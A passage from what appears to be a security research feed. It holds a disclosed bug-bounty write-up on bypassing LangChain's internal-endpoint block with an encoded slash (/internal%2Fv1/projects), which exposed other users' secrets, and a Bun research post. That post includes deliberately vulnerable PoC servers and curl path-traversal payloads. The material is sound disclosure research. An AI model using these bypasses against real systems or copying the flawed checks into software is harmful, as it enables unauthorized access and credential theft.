<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">router_internal</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"/{project_id}"</span><span class="p">,</span> <span class="n">dependencies</span><span class="o">=</span><span class="p">[</span><span class="n">Depends</span><span class="p">(</span><span class="n">x_service_authorize</span><span class="p">)])</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">get_project_endpoint_internal</span><span class="p">(</span><span class="n">project_id</span><span class="p">:</span> <span class="n">UUID</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">ProjectExtended</span><span class="p">:</span>
    <span class="k">return</span> <span class="k">await</span> <span class="n">get_project</span><span class="p">(</span><span class="n">project_id</span><span class="p">)</span>
</code></pre></div></div>

<p>These endpoints looked like perfect candidates for testing. I crafted a request to <code class="language-plaintext highlighter-rouge">/internal/v1/projects</code> to test if I could list projects:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /internal/v1/projects HTTP/1.1
Host: api.host.langchain.com
X-Service-Key: &lt;JWT&gt;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 403 Forbidden
Server: nginx
Content-Type: text/html
Content-Length: 146
Connection: close

&lt;html&gt;

&lt;head&gt;
    &lt;title&gt;403 Forbidden&lt;/title&gt;
&lt;/head&gt;

&lt;body&gt;
    &lt;center&gt;
        &lt;h1&gt;403 Forbidden&lt;/h1&gt;
    &lt;/center&gt;
    &lt;hr&gt;
    &lt;center&gt;nginx&lt;/center&gt;
&lt;/body&gt;

&lt;/html&gt;
</code></pre></div></div>

<p>The request was blocked. This looked like an nginx restriction preventing requests to internal endpoints. I sent requests with different paths to determine which patterns were blocked. Requests to <code class="language-plaintext highlighter-rouge">/internal</code> and <code class="language-plaintext highlighter-rouge">/internal/*</code> were blocked, while requests like <code class="language-plaintext highlighter-rouge">/internalfoo</code> hit the backend. At that point, identifying differences in path parsing between the proxy and backend could lead to a bypass.</p>

<p>I researched request parsing and routing in FastAPI. It turned out that Uvicorn, the underlying ASGI server for FastAPI, performs URL decoding on paths before passing requests to Starlette/FastAPI. For example, <code class="language-plaintext highlighter-rouge">GET /fo%6f</code> is decoded to <code class="language-plaintext highlighter-rouge">/foo</code> by Uvicorn and routed to the corresponding handler in FastAPI. I tried encoding a character in <code class="language-plaintext highlighter-rouge">internal</code> and sent a request to <code class="language-plaintext highlighter-rouge">/interna%6C/v1/projects</code>, but received the same 403 response. Next, I encoded the slash <code class="language-plaintext highlighter-rouge">/</code> following <code class="language-plaintext highlighter-rouge">/internal</code> and sent another request to <code class="language-plaintext highlighter-rouge">/internal%2Fv1/projects</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET /internal%2Fv1/projects HTTP/1.1
Host: api.host.langchain.com
X-Service-Key: &lt;JWT&gt;
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 200 OK
server: uvicorn
x-pagination-total: 21
Content-Length: 71009
content-type: application/json

[{
    "id": "&lt;UUID&gt;",
    // ...
    "repo_url": "https://github.com/repo/slug",
    "repo_branch": "main",
    // ..
    "custom_url": "https://&lt;name&gt;.langgraph.app",
    "resource": {
        // ...
        "latest_revision": {
            "id": {
                "type": "revisions",
                "name": ""
            },
            "env_vars": [{
                "name": "OPENAI_API_KEY",
                "value": "sk-proj-...",
                "value_from": "secret",
                "type": "secret"
            }, {
                "name": "ANTHROPIC_API_KEY",
                "value": "sk-ant-api03-...",
                "value_from": "secret",
                "type": "secret"
            }, {
                "name": "GOOGLE_APPLICATION_CREDENTIALS_JSON",
                "value": "{   \"type\": \"service_account\", ... \"universe_domain\": \"googleapis.com\" }",
                "value_from": "secret",
                "type": "secret"
            }],
            // ...
        },
        // ...
    }
},
// ...
]
</code></pre></div></div>

<p>The response was <code class="language-plaintext highlighter-rouge">200 OK</code> and listed arbitrary projects from other users, including numerous secrets for third-party services. Using the same service key, I gained access to other internal endpoints <code class="language-plaintext highlighter-rouge">/internal/v2/deployments</code>, <code class="language-plaintext highlighter-rouge">/internal/v1/revisions</code>, and <code class="language-plaintext highlighter-rouge">/v2/auth/admin/*</code>. This provided read and write access to projects, deployments, and revisions of any users.</p>

<h2 id="request-routing-and-url-encoding-bypass">Request routing and URL encoding bypass</h2>

<p>After reporting the vulnerability, I was haunted by the question why encoding characters in <code class="language-plaintext highlighter-rouge">internal</code> didn’t lead to the same bypass as encoding <code class="language-plaintext highlighter-rouge">/</code>. I went to the nginx documentation and here’s what <a href="https://nginx.org/en/docs/http/ngx_http_core_module.html#location">the documentation states about location matching</a>:</p>

<blockquote>
  <p>The matching is performed against a normalized URI, after decoding the text encoded in the “%XX” form, resolving references to relative path components “.” and “..”, and possible compression of two or more adjacent slashes into a single slash.</p>
</blockquote>

<p>This explained why <code class="language-plaintext highlighter-rouge">/interna%6c/v1/projects</code> didn’t work - nginx decoded <code class="language-plaintext highlighter-rouge">%6C</code> before searching for a matching location. But why didn’t <code class="language-plaintext highlighter-rouge">%2F</code> get decoded? I couldn’t find evidence of special matching rules for slashes, so I spun up a local environment with the location below to test nginx routing.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>location /foo/ {
    proxy_pass http://backend:1234;
}
</code></pre></div></div>

<p>This location matches requests with paths like <code class="language-plaintext highlighter-rouge">/foo/</code> or <code class="language-plaintext highlighter-rouge">/foo/anything</code> and proxies them to the backend - a simple web server that printed request paths to stdout. I encoded the last character in <code class="language-plaintext highlighter-rouge">foo</code> and the following slash and sent a request to <code class="language-plaintext highlighter-rouge">/fo%6F%2Fbar</code>. nginx successfully matched and routed it to the backend. The backend received a request with path <code class="language-plaintext highlighter-rouge">/fo%6F%2Fbar</code>. nginx decoded the path, matched it to the location and proxied the request to the backend with the raw path. This wasn’t the behaviour I observed in the cloud. I played with different nginx configurations, but I couldn’t reproduce the behaviour where requests to <code class="language-plaintext highlighter-rouge">/internal</code> and <code class="language-plaintext highlighter-rouge">/internal/anything</code> return 403 and requests to <code class="language-plaintext highlighter-rouge">/internalanything</code> and <code class="language-plaintext highlighter-rouge">/internal%2Fanything</code> are passed to the backend. This indicated that nginx wasn’t the cause of the routing bypass.</p>

<p>This pointed to another component in the request processing chain, likely a load balancer, that enabled the exploitation. This mystery bothered me so much that I reached out to the LangChain team, who kindly shared additional details. It turned out that routing is performed by a GCP Load Balancer, with nginx only used to return 403 responses for requests to internal endpoints. This can be represented by the following high-level diagram:</p>

<p><img src="/writeups/articles/WriteupNo0004/langsmith-routing.webp" alt="Langsmith Routing" /></p>

<p>When <code class="language-plaintext highlighter-rouge">GCP Load Balancer</code> receives a request with a path that matches <code class="language-plaintext highlighter-rouge">/internal/*</code>, it routes the request to nginx that returns the 403 response; otherwise, the request is routed further to <code class="language-plaintext highlighter-rouge">Backend Services</code>.</p>

<p>With the answer in hand, I wanted to learn more about load balancer’s routing behaviour and reproduce what I had observed. I started by reading the <a href="https://docs.cloud.google.com/load-balancing/docs/application-load-balancer">Application Load Balancer documentation</a> to better understand the implementation details. One of the first things I paid attention to was the load balancer’s architecture:</p>

<p><img src="/writeups/articles/WriteupNo0004/gcp-application-load-balancer.png" alt="Application Load Balancer deployment components" /></p>

<p>The architecture defines a processing chain with the following components:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Forwarding Rule</code>: Acts as the frontend entry point, matching incoming traffic by IP address, port, and protocol to direct it toward <code class="language-plaintext highlighter-rouge">Target Proxy</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">Target Proxy</code>: Terminates the client connection, handling TLS decryption for HTTPS, and hands the parsed HTTP request off to <code class="language-plaintext highlighter-rouge">URL Map</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">URL Map</code>: The routing engine that evaluates the request’s <code class="language-plaintext highlighter-rouge">Host</code> header and URL path to determine which <code class="language-plaintext highlighter-rouge">Backend Service</code> should receive the traffic.</li>
  <li><code class="language-plaintext highlighter-rouge">Backend Service</code>: Manages the destination infrastructure (VMs or containers) by distributing traffic to healthy instances and maintaining stability via health checks and capacity balancing.</li>
</ul>

<p>The most interesting component here is the <code class="language-plaintext highlighter-rouge">URL Map</code>, which is described in detail in the <a href="https://docs.cloud.google.com/load-balancing/docs/url-map-concepts">URL maps overview</a> page. This component routes requests to corresponding backends or falls back to a default backend if no rules match. <code class="language-plaintext highlighter-rouge">URL Map</code> provides quite extensive configuration options for both request matching and request/response processing, including wildcards, regex patterns, query parameter matching, host/path rewriting, redirects, and header manipulation. For example, the <code class="language-plaintext highlighter-rouge">URL Map</code> configuration for <code class="language-plaintext highlighter-rouge">Host Backend</code> can be reproduced as follows:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">host-backend-match</span>
<span class="c1"># Specifies the default backend service to use</span>
<span class="c1"># if no other rules in the URL map match the incoming request.</span>
<span class="na">defaultService</span><span class="pi">:</span> <span class="s">projects/project_id/global/backendServices/default-service</span>
<span class="c1"># Defines a list of rules for matching the host header of incoming requests.</span>
<span class="na">hostRules</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">pathMatcher</span><span class="pi">:</span> <span class="s">host-backend-matcher</span>
    <span class="na">hosts</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">api.host.langchain.com</span>
<span class="c1"># Defines a list of named path matchers.</span>
<span class="na">pathMatchers</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">host-backend-matcher</span>
    <span class="c1"># Sets the default service for this path matcher.</span>
    <span class="c1"># This service is used if a request matches the host rule</span>
    <span class="c1"># but doesn't match any of the routeRules within this path matcher.</span>
    <span class="na">defaultService</span><span class="pi">:</span> <span class="s">projects/project_id/global/backendServices/host-backend</span>
    <span class="na">routeRules</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="na">priority</span><span class="pi">:</span> <span class="m">1</span>
        <span class="na">matchRules</span><span class="pi">:</span>
          <span class="c1"># Matches requests to "/internal/*".</span>
          <span class="pi">-</span> <span class="na">prefixMatch</span><span class="pi">:</span> <span class="s2">"</span><span class="s">/internal/"</span>
        <span class="c1"># Directs traffic to Nginx that returns the 403 response.</span>
        <span class="na">service</span><span class="pi">:</span> <span class="s">projects/project_id/global/backendServices/nginx-403</span>
</code></pre></div></div>

<p>While reading the <a href="https://docs.cloud.google.com/load-balancing/docs/url-map-concepts">URL maps overview</a> page, I came across the following note about flexible pattern matching under the “<a href="https://docs.cloud.google.com/load-balancing/docs/url-map-concepts#wildcards-regx-dynamic">Wildcards, regular expressions, and dynamic URLs in path rules and prefix match</a>” section:</p>

<blockquote>
  <p>Requests are not percent-encoding normalized. For example, a URL with a percent-encoded slash character (%2F) is not decoded into the unencoded form.</p>
</blockquote>

<p>I re-read this several times, but that didn’t make the situation any less confusing. Does this mean matching is performed on raw data, or are some characters still URL-decoded? Given the observed behaviour, some characters must still be decoded before processing. To test this, I deployed an application load balancer in GCP with the following URL map configuration:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">name</span><span class="pi">:</span> <span class="s">test-match</span>
<span class="na">defaultService</span><span class="pi">:</span> <span class="s">projects/project_id/global/backendServices/default-service</span>
<span class="na">hostRules</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">pathMatcher</span><span class="pi">:</span> <span class="s">test-matcher</span>
    <span class="na">hosts</span><span class="pi">:</span>
      <span class="pi">-</span> <span class="s">foobar.site</span>
<span class="na">pathMatchers</span><span class="pi">:</span>
  <span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">matcher</span>
    <span class="na">routeRules</span><span class="pi">:</span>
      <span class="c1"># Redirects requests with the "/foo/*" path to the "foo.site" host.</span>
      <span class="pi">-</span> <span class="na">priority</span><span class="pi">:</span> <span class="m">1</span>
        <span class="na">matchRules</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">prefixMatch</span><span class="pi">:</span> <span class="s">/foo/</span>
        <span class="na">urlRedirect</span><span class="pi">:</span>
          <span class="na">hostRedirect</span><span class="pi">:</span> <span class="s">foo.site</span>
          <span class="na">stripQuery</span><span class="pi">:</span> <span class="no">false</span>
          <span class="na">redirectResponseCode</span><span class="pi">:</span> <span class="s">MOVED_PERMANENTLY_DEFAULT</span>
      <span class="c1"># Redirects requests with the "/*" path to the "root.site" host.</span>
      <span class="pi">-</span> <span class="na">priority</span><span class="pi">:</span> <span class="m">2</span>
        <span class="na">matchRules</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">prefixMatch</span><span class="pi">:</span> <span class="s">/</span>
        <span class="na">urlRedirect</span><span class="pi">:</span>
          <span class="na">hostRedirect</span><span class="pi">:</span> <span class="s">root.site</span>
          <span class="na">stripQuery</span><span class="pi">:</span> <span class="no">false</span>
          <span class="na">redirectResponseCode</span><span class="pi">:</span> <span class="s">MOVED_PERMANENTLY_DEFAULT</span>
    <span class="c1"># Default redirect if no rules matched.</span>
    <span class="na">defaultUrlRedirect</span><span class="pi">:</span>
      <span class="na">hostRedirect</span><span class="pi">:</span> <span class="s">default.site</span>
      <span class="na">httpsRedirect</span><span class="pi">:</span> <span class="no">true</span>
      <span class="na">redirectResponseCode</span><span class="pi">:</span> <span class="s">MOVED_PERMANENTLY_DEFAULT</span>
</code></pre></div></div>

<p>First, I checked that the routing was working as expected.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">-H</span> <span class="s2">"Host: foobar.site"</span> <span class="s2">"http://lbip:80"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
location: http://root.site/
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">-H</span> <span class="s2">"Host: foobar.site"</span> <span class="s2">"http://lbip:80/foo/anything"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
location: http://foo.site/foo/anything
</code></pre></div></div>

<p>Everything looked great. Next, I validated what happens during matching <code class="language-plaintext highlighter-rouge">/fooanything</code> and <code class="language-plaintext highlighter-rouge">/foo%2Fanything</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">-H</span> <span class="s2">"Host: foobar.site"</span> <span class="s2">"http://lbip:80/fooanything"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
location: http://root.site/fooanything
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">-H</span> <span class="s2">"Host: foobar.site"</span> <span class="s2">"http://lbip:80/foo%2Fanything"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
location: http://root.site/foo%2Fanything
</code></pre></div></div>

<p>In both cases, requests were routed to the <code class="language-plaintext highlighter-rouge">root.site</code>, which corresponds to the behaviour observed in the cloud. This confirmed that the load balancer doesn’t decode <code class="language-plaintext highlighter-rouge">%2F</code> before matching, unlike nginx. However, what about other characters? I encoded <code class="language-plaintext highlighter-rouge">o</code> in the path and sent the request to <code class="language-plaintext highlighter-rouge">/fo%6F/anything</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-i</span> <span class="nt">-H</span> <span class="s2">"Host: foobar.site"</span> <span class="s2">"http://lbip:80/fo%6F/anything"</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HTTP/1.1 301 Moved Permanently
location: http://foo.site/foo/anything
</code></pre></div></div>

<p>The load balancer routed the request to <code class="language-plaintext highlighter-rouge">foo.site</code>, indicating that some characters are URL decoded before processing. Testing with other percent-encoded characters revealed that only the following were decoded:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">%2D</code> (<code class="language-plaintext highlighter-rouge">-</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">%2E</code> (<code class="language-plaintext highlighter-rouge">.</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">%30</code> (<code class="language-plaintext highlighter-rouge">0</code>) - <code class="language-plaintext highlighter-rouge">%39</code> (<code class="language-plaintext highlighter-rouge">9</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">%41</code> (<code class="language-plaintext highlighter-rouge">A</code>) - <code class="language-plaintext highlighter-rouge">%5A</code> (<code class="language-plaintext highlighter-rouge">Z</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">%5F</code> (<code class="language-plaintext highlighter-rouge">_</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">%61</code> (<code class="language-plaintext highlighter-rouge">a</code>) - <code class="language-plaintext highlighter-rouge">%7A</code> (<code class="language-plaintext highlighter-rouge">z</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">%7E</code> (<code class="language-plaintext highlighter-rouge">~</code>)</li>
</ul>

<p>These correspond to unreserved characters as defined in <a href="https://datatracker.ietf.org/doc/html/rfc3986#page-13">RFC 3986</a>. GCP’s load balancer only normalises these unreserved characters during path matching, which means characters like <code class="language-plaintext highlighter-rouge">%2F</code> remain encoded. In contrast, nginx normalises the entire URI and decodes <code class="language-plaintext highlighter-rouge">%2F</code> to <code class="language-plaintext highlighter-rouge">/</code> before location matching.</p>

<h2 id="the-impact">The impact</h2>

<p>This vulnerability potentially exposed deployment configurations and associated environment variables, which may include credentials for cloud providers and third-party services.</p>

<h2 id="takeaways">Takeaways</h2>

<p><strong>Parsing differences enable bypasses.</strong> Different components in the request processing chain can parse data differently. In this case, GCP’s load balancer only normalised unreserved characters in the URL path, while FastAPI (via Uvicorn) decoded the entire path including <code class="language-plaintext highlighter-rouge">%2F</code>. This inconsistency allowed <code class="language-plaintext highlighter-rouge">%2F</code> to bypass the load balancer’s routing restrictions while still reaching the intended endpoint in the backend. Inconsistencies in data handling across components can often introduce unexpected attack vectors.</p>

<p><strong>Least privilege violations create exploitation opportunities.</strong> The service key with <code class="language-plaintext highlighter-rouge">sub</code> set to <code class="language-plaintext highlighter-rouge">unspecified</code> granted almost unlimited access across endpoints, especially when combined with the default behaviour of <code class="language-plaintext highlighter-rouge">Authorize</code> adding <code class="language-plaintext highlighter-rouge">ServiceIdentity.UNSPECIFIED</code> to <code class="language-plaintext highlighter-rouge">allowed_services</code>. Entities with privileges beyond their necessary scope frequently become valuable gadgets in exploitation chains.</p>

<p><strong>Network-level controls alone are insufficient.</strong> Relying solely on reverse proxy or load balancer routing rules to protect internal endpoints creates single points of failure. Misconfigurations, parsing inconsistencies, or SSRF vulnerabilities can bypass these controls. If an internal component’s access is restricted only by frontend routing without proper authentication, it presents a promising research target.</p>

<p><strong>Verbose responses expose attack surface.</strong> API responses can contain excessive data beyond what clients need. In this case, the thread state endpoint included an internal service token in the metadata field. Always inspect HTTP traffic carefully, responses may leak sensitive data, configuration details, or implementation specifics that enable further exploitation.</p>

<p><strong>Shared trust boundaries expose internal systems.</strong> Deployed agents use the same authentication mechanism as internal service-to-service communication, despite having different levels of trust. This architectural decision exposed internal credentials to user-controlled components. When components with different trust levels are placed within the same trust boundary, explore whether the less trusted components can be leveraged to attack the more trusted ones.</p>

<h2 id="the-fix">The fix</h2>

<p>The LangChain team fixed the vulnerability on the same day it was reported. The fix introduced the following changes:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">%2F</code> is blocked on WAF and requests with paths like <code class="language-plaintext highlighter-rouge">/internal%2Fv1/projects</code> return 403.</li>
  <li><code class="language-plaintext highlighter-rouge">X-Service-Key</code> is excluded from the threads response in a deployed agent.</li>
  <li><code class="language-plaintext highlighter-rouge">Authorize(...)</code> no longer adds <code class="language-plaintext highlighter-rouge">ServiceIdentity.UNSPECIFIED</code> to <code class="language-plaintext highlighter-rouge">allowed_services</code> by default, which prevents service keys with <code class="language-plaintext highlighter-rouge">sub</code> set as <code class="language-plaintext highlighter-rouge">unspecified</code> having almost unlimited access to endpoints.</li>
</ul>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<ul>
  <li>30/11/25 - Initial report sent to the LangChain team.</li>
  <li>30/11/25 - Fix was applied.</li>
  <li>01/12/25 - Initial response from the team.</li>
  <li>13/01/26 - Bounty awarded.</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Slacker Slash: Bypassing Bun Security Middleware via Normalization Desync</title>
      <link>https://lab.ctbb.show/research/bun-slacker-slash</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/bun-slacker-slash</guid>
      <pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate>
      <author>Mohamed Salem Eddah</author>
      <description>How WHATWG URL compliance in Bun creates a normalization desync with POSIX utilities, enabling double-slash and partial-path middleware bypasses.</description>
      <content:encoded><![CDATA[<p>Modern JavaScript runtimes like Bun advertise strict WHATWG URL compliance, but this creates a silent security blind spot when it collides with POSIX-normalizing filesystem utilities. Bun’s URL parser preserves multiple leading slashes (e.g., <code class="language-plaintext highlighter-rouge">//admin/secret.txt</code>), while <code class="language-plaintext highlighter-rouge">path.join()</code> collapses them per POSIX convention (<code class="language-plaintext highlighter-rouge">//admin</code> → <code class="language-plaintext highlighter-rouge">/admin</code>). This “Normalization Differential” allows attackers to bypass string-based middleware; a check like <code class="language-plaintext highlighter-rouge">startsWith("/admin")</code> returns <code class="language-plaintext highlighter-rouge">false</code> for <code class="language-plaintext highlighter-rouge">//admin</code>, yet the filesystem sink resolves it successfully. This desync also extends to backslash-based evasion, as Bun’s parser automatically converts <code class="language-plaintext highlighter-rouge">\</code> to <code class="language-plaintext highlighter-rouge">/</code> per spec, masking the traversal from middleware while the sink reads the file.</p>

<p>Beyond the parser desync, a secondary “Partial Path Collision” exists in common validation logic. Because <code class="language-plaintext highlighter-rouge">startsWith</code> is a string-based operation rather than a segment-aware path operation, an attacker can move “sideways” into sibling directories that share a naming prefix with the intended root. While Bun’s URL parser sanitizes <code class="language-plaintext highlighter-rouge">..</code> segments in the primary path, raw inputs handled via query parameters or custom headers remain vulnerable. A request for <code class="language-plaintext highlighter-rouge">../public_backup/</code> resolved via <code class="language-plaintext highlighter-rouge">path.normalize()</code> will satisfy a security check for <code class="language-plaintext highlighter-rouge">/public</code> because the string “public_backup” starts with “public.” To remediate, developers must terminate the root path with a separator or use segment-aware validation like <code class="language-plaintext highlighter-rouge">path.relative()</code>.</p>

<hr />

<h3 id="poc-1--bun-normalization-desync-slacker-slash">PoC 1 — Bun Normalization Desync (Slacker Slash)</h3>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">serve</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">bun</span><span class="dl">"</span><span class="p">;</span>
<span class="k">import</span> <span class="p">{</span> <span class="nx">join</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">node:path</span><span class="dl">"</span><span class="p">;</span>

<span class="k">await</span> <span class="nx">Bun</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="dl">"</span><span class="s2">admin_secret.txt</span><span class="dl">"</span><span class="p">,</span> <span class="dl">"</span><span class="s2">FLAG{BUN_ARCHITECTURAL_DESYNC}</span><span class="dl">"</span><span class="p">);</span>

<span class="nx">serve</span><span class="p">({</span>
  <span class="na">port</span><span class="p">:</span> <span class="mi">3000</span><span class="p">,</span>
  <span class="k">async</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">req</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">url</span><span class="p">).</span><span class="nx">pathname</span><span class="p">;</span>

    <span class="c1">// Guard: literal check — misses '//admin_secret.txt'</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">path</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="dl">"</span><span class="s2">/admin_secret.txt</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
      <span class="k">return</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="dl">"</span><span class="s2">Forbidden</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span> <span class="na">status</span><span class="p">:</span> <span class="mi">403</span> <span class="p">});</span>
    <span class="p">}</span>

    <span class="k">try</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">resolvedPath</span> <span class="o">=</span> <span class="nx">join</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">cwd</span><span class="p">(),</span> <span class="nx">path</span><span class="p">);</span>
      <span class="k">return</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="k">await</span> <span class="nx">Bun</span><span class="p">.</span><span class="nx">file</span><span class="p">(</span><span class="nx">resolvedPath</span><span class="p">).</span><span class="nx">text</span><span class="p">());</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
      <span class="k">return</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="dl">"</span><span class="s2">Not Found</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span> <span class="na">status</span><span class="p">:</span> <span class="mi">404</span> <span class="p">});</span>
    <span class="p">}</span>
  <span class="p">},</span>
<span class="p">});</span>
</code></pre></div></div>

<h3 id="poc-2--partial-path-collision-query-parameter">PoC 2 — Partial Path Collision (Query Parameter)</h3>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="p">{</span> <span class="nx">serve</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">bun</span><span class="dl">"</span><span class="p">;</span>
<span class="k">import</span> <span class="p">{</span> <span class="nx">join</span><span class="p">,</span> <span class="nx">normalize</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">node:path</span><span class="dl">"</span><span class="p">;</span>

<span class="kd">const</span> <span class="nx">ROOT</span> <span class="o">=</span> <span class="nx">join</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">cwd</span><span class="p">(),</span> <span class="dl">"</span><span class="s2">public</span><span class="dl">"</span><span class="p">);</span>

<span class="nx">serve</span><span class="p">({</span>
  <span class="na">port</span><span class="p">:</span> <span class="mi">3001</span><span class="p">,</span>
  <span class="k">async</span> <span class="nx">fetch</span><span class="p">(</span><span class="nx">req</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">url</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">userInput</span> <span class="o">=</span> <span class="nx">url</span><span class="p">.</span><span class="nx">searchParams</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">"</span><span class="s2">file</span><span class="dl">"</span><span class="p">)</span> <span class="o">||</span> <span class="dl">""</span><span class="p">;</span>

    <span class="kd">const</span> <span class="nx">normalized</span> <span class="o">=</span> <span class="nx">normalize</span><span class="p">(</span><span class="nx">join</span><span class="p">(</span><span class="nx">ROOT</span><span class="p">,</span> <span class="nx">userInput</span><span class="p">));</span>

    <span class="c1">// VULNERABLE: Matches "public_backup" because it starts with "public"</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">normalized</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="nx">ROOT</span><span class="p">))</span> <span class="p">{</span>
      <span class="k">return</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="dl">"</span><span class="s2">Forbidden</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span> <span class="na">status</span><span class="p">:</span> <span class="mi">403</span> <span class="p">});</span>
    <span class="p">}</span>

    <span class="k">try</span> <span class="p">{</span>
      <span class="k">return</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="k">await</span> <span class="nx">Bun</span><span class="p">.</span><span class="nx">file</span><span class="p">(</span><span class="nx">normalized</span><span class="p">).</span><span class="nx">text</span><span class="p">());</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span>
      <span class="k">return</span> <span class="k">new</span> <span class="nx">Response</span><span class="p">(</span><span class="dl">"</span><span class="s2">Not Found</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span> <span class="na">status</span><span class="p">:</span> <span class="mi">404</span> <span class="p">});</span>
    <span class="p">}</span>
  <span class="p">},</span>
<span class="p">});</span>
</code></pre></div></div>

<h3 id="test-commands">Test Commands</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Run PoC 1 (server.ts) for tests 1 and 2</span>
<span class="c"># 1. Double-slash bypass (Slacker Slash)</span>
curl <span class="s2">"http://localhost:3000//admin_secret.txt"</span>

<span class="c"># 2. Backslash bypass (Bun converts \ to / per spec)</span>
curl <span class="s2">"http://localhost:3000/</span><span class="se">\a</span><span class="s2">dmin_secret.txt"</span>

<span class="c"># Run PoC 2 (server2.ts) for test 3</span>
<span class="c"># 3. Partial Path Collision (Sibling directory escape via query param)</span>
curl <span class="s2">"http://localhost:3001/?file=../public_backup/config.txt"</span>
</code></pre></div></div>
]]></content:encoded>
    </item>
    
    <item>
